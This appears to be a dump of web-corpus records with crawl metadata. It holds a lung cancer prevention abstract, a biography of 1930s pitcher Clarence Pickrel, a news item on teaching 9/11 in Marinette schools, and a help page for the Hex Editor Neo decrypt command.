(https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.02297043800354004', 'original_id': '09ef8181e5cff7b032fe008fc28c0a5273ee4e6cce2f78213b4063ad0c42dc72'} |
Curbing the burden of lung cancer.
Lung cancer contributes substantially to the global burden of disease and healthcare costs. New screening modalities using low-dose computerized tomography are promising tools for early detection leading to curative surgery. However, the screening and follow-up diagnostic procedures of these techniques may be costly. Focusing on prevention is an important factor to reduce the burden of screening, treatment, and lung cancer deaths. The International Agency for Research on Cancer has identified several lung carcinogens, which we believe can be considered actionable when developing prevention strategies. To curb the societal burden of lung cancer, healthcare resources need to be focused on early detection and screening and on mitigating exposure(s) of a person to known lung carcinogens, such as active tobacco smoking, household air pollution (HAP), and outdoor air pollution. Evidence has also suggested that these known lung carcinogens may be associated with genetic predispositions, supporting the hypothesis that lung cancers attributed to differing exposures may have developed from unique underlying genetic mechanisms attributed to the exposure of interest. For instance, smokingattributed lung cancer involves novel genetic markers of risk compared with HAP-attributed lung cancer. Therefore, genetic risk markers may be used in risk stratification to identify subpopulations that are at a higher risk for developing lung cancer attributed to a given exposure. Such targeted prevention strategies suggest that precision prevention strategies may be possible in the future; however, much work is needed to determine whether these strategies will be viable. | mini_pile | {'original_id': 'de67c39179393baf7ffac3ead433ea10023c7689c6243216df0a005d53ea98b5'} |
Clarence Pickrel
Clarence Douglas Pickrel (March 28, 1911 – April 11, 1983) was a professional baseball player. In a 12-year professional career, Pickrel played two seasons as a Major League Baseball pitcher: in 1933 with the Philadelphia Phillies; and in 1934 with the Boston Braves. He was officially listed as standing and weighing .
Biography
Early life
Pickrel was born in Gretna, Virginia on March 28, 1911.
Playing career
In 1931, Pickrel began his professional baseball career pitching for the A-level Durham Bulls in North Carolina; his 12 wins and 14 losses were the second-highest totals on the team in both categories. He led the club with 232 innings pitched and 118 walks. As a hitter, he posted a .153 batting average, including one double and one triple. He moved up to the Texas League, at the double-A level, the following season, posting his first professional winning season for the Fort Worth Cats with a 6–4 win–loss record. His earned run average (ERA) was 4.17 (50 earned runs allowed in 108 innings), and he worked primarily out of the bullpen, making only 7 starts in 31 appearances.
Pickrel played for three teams in 1933, including the Harrisburg Senators of the New York–Penn League, where he went 1–6 for the Boston-affiliated club with a 5.47 ERA in 51 innings, and the Baltimore Orioles of the International League, a double-A club, where he won one game and lost one in three appearances. Pickrel also appeared in nine contests for the Philadelphia Phillies, making his major league debut with a scoreless inning on April 22, when he allowed two baserunners via a hit and a walk. He allowed two runs on May 27 in relief of Phil Collins, when the starter permitted the St. Louis Cardinals to score eight runs on fourteen hits in four innings. On June 2, Pickrel allowed four runs (three earned) to the New York Giants on four hits without recording an out, but followed that with two scoreless outings on June 4 and 15. He gave up a run on four hits to the Boston Braves in the first game of a June 17 doubleheader, and finished the 1933 season with three scoreless outings.
In April 1934, Pickrel opened that season with the Braves, pitching three scoreless innings against the Brooklyn Dodgers, walking one batter and striking out two. In his next appearance against the Dodgers, Pickrel started the game, allowing 4 runs on 5 hits in innings. He allowed runs in four consecutive appearances, the second of which came against the Chicago Cubs on May 4, when he gave up two runs in a single inning. After allowing lone runs to the Cincinnati Reds and the Giants, Pickrel posted three consecutive scoreless appearances before completing his Boston tenure with a one-inning, one-run contest against the Cardinals on June 12. For the major league portion of the season, he struck out nine batters and walked seven, allowing nine runs. He also played for the Syracuse Chiefs of the International League during that year, posting a 9–11 record and a 5.03 ERA in 154 innings.
Pickrel played with the Seattle Indians of the Pacific Coast League—one of that organization's founding member teams—in 1935. He amassed a 6–16 record while appearing in 44 games, the team's third-highest total. His 5.16 ERA was collected in 176 innings, in which he walked 75 batters. In 1936, he played a portion of the year with Seattle, winning three games and losing one in ten games, but made 32 appearances for the Tulsa Oilers, collecting a 9–8 record and a 5.03 ERA. The following two seasons were spent entirely with Seattle; in 1937, Pickrel posted career highs in wins (16) and losses (17), pitching 266 innings. His 165 runs (129 earned) and 52 games were career highs, and his 281 hits allowed were second only to his first professional season. The following year, his 8–8 record was accompanied by a 4.47 ERA and 65 walks in 32 games.
In 1939, Pickrel split time between Seattle and the Portland Beavers, posting a 7–10 record on the season with a 4.74 ERA. He returned to Tulsa in 1940, losing two games and winning none with a 6.23 ERA. He also played a short time with Portland, losing one of his seven appearances. Pickrel's final season was 1941, and he played for the Petersburg Rebels of the Virginia League, where he collected a .250 winning percentage by earning one victory and three defeats; he posted a 4.50 ERA in 40 innings.
After baseball
Pickrel died on November 4, 1983, in Rocky Mount, Virginia, and was interred in Gretna Burial Park in his hometown.
See also
Philadelphia Phillies all-time roster (P–Q)
References
External links
Category:1911 births
Category:1983 deaths
Category:Baseball players from Virginia
Category:Philadelphia Phillies players
Category:Boston Braves players
Category:Durham Bulls players
Category:Fort Worth Cats players
Category:Harrisburg Senators players
Category:Baltimore Orioles (IL) players
Category:Syracuse Chiefs players
Category:Seattle Indians players
Category:Tulsa Oilers (baseball) players
Category:Portland Beavers players
Category:Petersburg Rebels players
Category:People from Gretna, Virginia | mini_pile | {'original_id': '3c59c8000d2f5c149230f0a528200be390d5ad65e341c65e71e06e2ee396baa2'} |
Marinette Students Get Personal with 9/11 Lesson
09/11/2018- It’s a day known most simply by its date. Many adults can clearly recall the details of 9/11 and the days that immediately followed, however, the same can’t be said for the majority of today’s students. That’s the challenge educators face as they attempt to explain the impact the terrorist attacks had- and continue to have- on our country to a classroom full of people who likely weren’t even born at the time. Bob Smith is an AP US History teacher at Marinette High School. He says the lessons on 9/11 often now address the day as a historical topic rather than a current event.
As with most topics, much of the information students see about 9/11 comes from the internet. So, to preserve the memory of the day, Smith has turned his lesson into a personal one- asking students to interview family members about their experiences on 9/11.
Smith isn’t the only one setting the textbook aside when it comes to 9/11. Marinette School officials say history teachers across several grade levels will share their own memories of the day, as well as show news reports and other footage captured on 9/11 to teach students about the attacks. | mini_pile | {'original_id': '572bb8cae2d79d0de134e28c186928cc46e7204a973b2f5adeb55e5e9443f856'} |
Hex Editor - Binary File Editing Software for Windows
Decrypt command decrypts the current document or the current selection.
Complexity: linear-time.
Decrypt Window
Provides you with a list of installed encryption algorithms. Cryptography API block and stream ciphers are supported by the Hex Editor Neo.
Key length (bits)
Allows you to change the key length in bits for some algorithms. For others, this field is read-only.
Password and Re-type password
Enter the encryption password here. You have to enter the same password into both fields. The password must match the one used during encryption.
Do not hide password
Select to make password visible.
Whole file/Selection
Select whether decryption takes place on the whole document or only its part. | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '0', 'language_id_whole_page_fasttext': "{'en': 0.8528453707695007}", 'metadata': "{'Content-Length': '69937', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:5BXRV3HLSCKOM73OFXR7B5LBSOJSI3PP', 'WARC-Concurrent-To': '<urn:uuid:7ab33a80-e144-4268-a61e-294e7b3b4f75>', 'WARC-Date': datetime.datetime(2021, 5, 18, 8, 25, 28), 'WARC-IP-Address': '46.4.88.135', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:MTP676DDKSUCLR5TAQAZB4LT4XE5Y2MB', 'WARC-Record-ID': '<urn:uuid:f384dfc7-60fd-4422-9a62-c5dd091e8c84>', 'WARC-Target-URI': 'https://docs.hhdsoftware.com/hex/definitive-guide/editor-commands/decrypt.html', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:b6b96589-85c5-4c69-94ee-86c647ca478c>', 'WARC-Truncated': None}", 'previous_word_count': '119', 'url': 'https://docs.hhdsoftware.com/hex/definitive-guide/editor-commands/decrypt.html', 'warcinfo': 'isPartOf: CC-MAIN-2021-21\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2021\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-67-67-185.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.02483588457107544', 'original_id': 'ea63a3705dd57f46dd4267ca98b1ce272b9f7d390bf092e0d85269a030800ad3'} |
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